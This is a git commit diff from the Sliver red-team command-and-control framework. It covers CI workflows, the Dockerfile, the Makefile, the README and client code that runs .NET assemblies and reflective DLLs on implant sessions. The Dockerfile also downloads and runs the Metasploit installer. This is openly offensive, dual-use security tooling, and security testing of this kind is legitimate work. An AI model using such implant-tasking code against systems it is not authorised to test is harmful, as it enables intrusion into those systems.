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Author SHA1 Message Date
rkervella 25795b3ceb Switch fd 2022-01-14 15:43:47 -08:00
rkervella aa272c2e14 Use pipes for IPC 2022-01-14 15:41:32 -08:00
1204 changed files with 197963 additions and 926797 deletions

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+35 -44
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@@ -3,7 +3,7 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master, goreleaser]
branches: [master]
jobs:
@@ -14,10 +14,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.18
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -35,8 +35,6 @@ jobs:
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
@@ -46,11 +44,7 @@ jobs:
path: ./sliver-*
- name: Make Windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
run: export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v2
@@ -65,10 +59,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.18
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
@@ -83,14 +77,10 @@ jobs:
run: ./go-assets.sh
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
# - name: Make ARM64
# run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
@@ -108,18 +98,10 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./builds
- run: mkdir -p ./release && mkdir -p ./artifacts
- uses: actions/download-artifact@v2
with:
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
path: ./artifacts
- id: install-secret-key
name: GPG Key(s)
@@ -127,34 +109,43 @@ jobs:
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: Release
run: mkdir -p ./release
# Linux
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
# Windows
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
# MacOS AMD64
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
# MacOS ARM64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
# - name: Package MacOS ARM64
# run: |
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: true
prerelease: false
files: |
./artifacts/*
./release/*
+2 -2
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@@ -17,10 +17,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.18
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: "^1.18"
go-version: "^1.17"
- name: Checkout repository
uses: actions/checkout@v2
+4 -9
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@@ -6,11 +6,6 @@ on:
pull_request:
branches:
- master
types:
- opened
- reopened
- synchronize
- ready_for_review
jobs:
@@ -20,10 +15,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.18
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -55,10 +50,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.18
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
-2
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@@ -40,5 +40,3 @@ sliver-server-windows.zip
.glide/
.DS_Store
dist/
+16 -16
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@@ -1,4 +1,4 @@
FROM golang:1.18
FROM golang:1.17.5
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,22 +6,22 @@ FROM golang:1.18
# a Docker deployment this is probably a good place to start.
#
ENV PROTOC_VER 3.19.4
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
ENV PROTOC_VER 3.17.1
ENV PROTOC_GEN_GO_VER v1.26.0
ENV GRPC_GO v1.1.0
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
#
# > User
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
&& chmod 755 msfinstall \
&& ./msfinstall
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
+29 -51
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@@ -3,40 +3,22 @@
#
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git zip date cut $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
#
# Version Information
#
GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 18
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
@@ -48,6 +30,14 @@ LDFLAGS = -ldflags "-s -w \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
#
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git zip date $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
SED_INPLACE := sed -i
STATIC_TARGET := linux
@@ -90,38 +80,36 @@ ifeq ($(MAKECMDGOALS), linux)
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
endif
#
# Targets
#
.PHONY: default
default: clean validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
default: clean
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos
macos: clean validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
macos: clean
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos-arm64
macos-arm64: clean validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
macos-arm64: clean
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
.PHONY: linux
linux: clean validate-go-version
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
linux: clean
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: windows
windows: clean validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
windows: clean
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
.PHONY: pb
pb:
@@ -131,17 +119,6 @@ pb:
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
validate-go-version:
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
exit 0 ;\
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
fi
.PHONY: clean-all
clean-all: clean
rm -rf ./server/assets/fs/darwin/amd64
@@ -152,4 +129,5 @@ clean-all: clean
.PHONY: clean
clean:
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server sliver-*.exe
+5 -7
View File
@@ -1,7 +1,7 @@
Sliver
======
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
@@ -17,11 +17,13 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
* Windows process migration, process injection, user token manipulation, etc.
* Local and remote process injection
* Windows process migration
* Windows user token manipulation
* Anti-fingerprinting features
* Let's Encrypt integration
* In-memory .NET assembly execution
* COFF/BOF in-memory loader
* TCP and named pipe pivots
* Much more!
### Getting Started
@@ -40,10 +42,6 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+1 -1
View File
@@ -73,7 +73,7 @@ func Setup(force bool, echo bool) {
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf(`
Sliver Copyright (C) 2022 Bishop Fox
Sliver Copyright (C) 2021 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
-4
View File
@@ -33,8 +33,6 @@ type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
}
// LoadSettings - Load the client settings from disk
@@ -57,8 +55,6 @@ func defaultSettings() *ClientSettings {
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
}
}
+7 -58
View File
@@ -19,17 +19,12 @@ package alias
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
// AliasesCmd - The alias command
@@ -48,37 +43,21 @@ func PrintAliases(con *console.SliverConsoleClient) {
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
".NET Assembly",
"Reflective",
"Tool Author",
"Repository",
"Help",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
installedManifests := getInstalledManifests()
for _, aliasPkg := range loadedAliases {
installed := ""
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
installed = "✅"
}
for _, alias := range loadedAliases {
tw.AppendRow(table.Row{
aliasPkg.Manifest.Name,
aliasPkg.Manifest.CommandName,
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
aliasPkg.Manifest.Version,
installed,
aliasPkg.Manifest.IsAssembly,
aliasPkg.Manifest.IsReflective,
aliasPkg.Manifest.OriginalAuthor,
aliasPkg.Manifest.RepoURL,
alias.Manifest.Name,
alias.Manifest.CommandName,
alias.Manifest.IsAssembly,
alias.Manifest.IsReflective,
alias.Manifest.Help,
})
}
con.Println(tw.Render())
@@ -94,33 +73,3 @@ func AliasCommandNameCompleter(prefix string, args []string, con *console.Sliver
}
return results
}
func aliasPlatforms(aliasPkg *AliasManifest) []string {
platforms := map[string]string{}
for _, entry := range aliasPkg.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*AliasManifest {
manifestPaths := assets.GetInstalledAliasManifests()
installedManifests := map[string]*AliasManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &AliasManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
}
installedManifests[manifest.CommandName] = manifest
}
return installedManifests
}
+2 -6
View File
@@ -23,7 +23,6 @@ import (
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
@@ -112,7 +111,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
@@ -153,13 +152,10 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
}
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
data, err := util.ReadFileFromTarGz(aliasGzFilePath, artifactPath)
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("empty file %s", artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
+49 -130
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@@ -28,15 +28,12 @@ import (
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
@@ -66,14 +63,12 @@ type loadedAlias struct {
Command *grumble.Command
}
// AliasFile - An OS/Arch specific file
type AliasFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
// AliasManifest - The manifest for an alias, contains metadata
type AliasManifest struct {
Name string `json:"name"`
Version string `json:"version"`
@@ -102,22 +97,18 @@ func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err er
}
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range a.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
var filePath string
var err error
for _, ef := range a.Files {
if targetOS == ef.OS && targetArch == ef.Arch {
filePath = ef.Path
break
}
}
if filePath == "" {
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
return "", err
err = fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("alias file not found: %s", filePath)
return "", err
}
return filePath, nil
return filePath, err
}
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
@@ -132,39 +123,37 @@ func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
// LoadAlias - Load an alias into the Sliver shell from a given directory
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
// retrieve alias manifest
var err error
manifestPath, err = filepath.Abs(manifestPath)
dirPath, err = filepath.Abs(dirPath)
if err != nil {
return nil, err
}
// parse it
manifestPath := filepath.Join(dirPath, ManifestFileName)
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
aliasManifest, err := ParseAliasManifest(data)
alias, err := ParseAliasManifest(data)
if err != nil {
return nil, err
}
aliasManifest.RootPath = filepath.Dir(manifestPath)
alias.RootPath = filepath.Dir(manifestPath)
// for each alias command, add a new app command
// do not add if the command already exists
if cmdExists(aliasManifest.CommandName, con.App) {
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
if cmdExists(alias.CommandName, con.App) {
return nil, fmt.Errorf("'%s' command already exists", alias.CommandName)
}
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
helpMsg := fmt.Sprintf("[%s] %s", alias.Name, alias.Help)
addAliasCmd := &grumble.Command{
Name: aliasManifest.CommandName,
Name: alias.Name,
Help: helpMsg,
LongHelp: longHelpMsg,
LongHelp: help.FormatHelpTmpl(alias.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
@@ -172,7 +161,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
return nil
},
Flags: func(f *grumble.Flags) {
if aliasManifest.IsAssembly {
if alias.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
@@ -192,15 +181,14 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
// Have to use a global map here, as passing the aliasCmd
// either by value or by ref fucks things up
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
Manifest: aliasManifest,
loadedAliases[alias.Name] = &loadedAlias{
Manifest: alias,
Command: addAliasCmd,
}
return aliasManifest, nil
return alias, nil
}
// ParseAliasManifest - Parse an alias manifest
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
// parse it
alias := &AliasManifest{}
@@ -237,49 +225,39 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
}
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
loadedAlias, ok := loadedAliases[ctx.Command.Name]
if !ok {
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
return
}
aliasManifest := loadedAlias.Manifest
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
alias := loadedAlias.Manifest
binPath, err := alias.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("Fail to find alias file: %s\n", err)
con.PrintErrorf("%s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
extArgs = aliasManifest.DefaultArgs
if len(alias.DefaultArgs) != 0 && len(args) == 0 {
extArgs = alias.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := aliasManifest.Entrypoint
entryPoint := alias.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(goos)
processName, err = alias.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
@@ -289,17 +267,14 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if aliasManifest.IsAssembly {
// Execute Assembly
if alias.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -320,24 +295,12 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, executeAssemblyResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
})
con.PrintAsyncResponse(executeAssemblyResp.Response)
} else {
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if aliasManifest.IsReflective {
// Spawn DLL
} else if alias.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -346,33 +309,23 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint,
EntryPoint: alias.Entrypoint,
Kill: true,
})
ctrl <- true
